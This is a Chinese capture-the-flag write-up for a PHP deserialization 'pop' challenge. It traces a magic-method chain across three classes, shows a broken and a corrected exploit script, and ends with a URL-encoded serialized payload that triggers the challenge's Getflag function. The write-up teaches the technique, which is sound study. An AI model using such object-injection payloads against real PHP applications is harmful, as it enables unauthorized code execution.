NSS [SWPUCTF 2021 新生赛]pop
倒推一下,最后一步是调用getflag函数,admin和password要求为w44m和08067。
第一步应该从w22m类的魔术方法__destruct()入手,所以中间第二步应该是w33m(第一步w22m类的魔术方法__destruct()里面的echo触发__toString())。
因此我们构造的东西($jay17),他是序列化后的w22m类,w22m类里面的变量w00m=w33m类,w33m类里面的变量w00m为w44m类,w33m类里面的变量w22m为w44m类里面的Getflag函数,并且w44m类的admin和password变量为w44m和08067。
先看我错误的exp:
<?php
class w22m{
public $w00m=new w33m();
}
//因此我们构造的东西($jay17),他是序列化后的w22m类,w22m类里面的变量w00m=w33m类
class w33m{
public $w00m=new w44m();
public $w22m='Getflag';
}
//w33m类里面的变量w00m为w44m类,w33m类里面的变量w22m为w44m类里面的Getflag函数
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
//并且w44m类的admin和password变量为w44m和08067。
$j17 = new w22m();
echo urlencode(serialize($j17));
?>
正确exp:
<?php
class w22m{
public $w00m;
public function __construct()
{
$this->w00m=new w33m();
}
}
//因此我们构造的东西($jay17),他是序列化后的w22m类,w22m类里面的变量w00m=w33m类
class w33m{
public $w00m;
public $w22m='Getflag';
public function __construct()
{
$this->w00m=new w44m();
}
}
//w33m类里面的变量w00m为w44m类,w33m类里面的变量w22m为w44m类里面的Getflag函数
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
//并且w44m类的admin和password变量为w44m和08067。
$j17 = new w22m();
echo urlencode(serialize($j17));
?>
不同点分别是
class w22m{
public $w00m=new w33m();
}
class w22m{
public $w00m;
public function __construct()
{
$this->w00m=new w33m();
}
}
区别在于类中属性,赋值为另外一个类时需要用构造方法。
Payload:
/?w00m=O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D
(因为类里面有private,所以不要忘记url编码)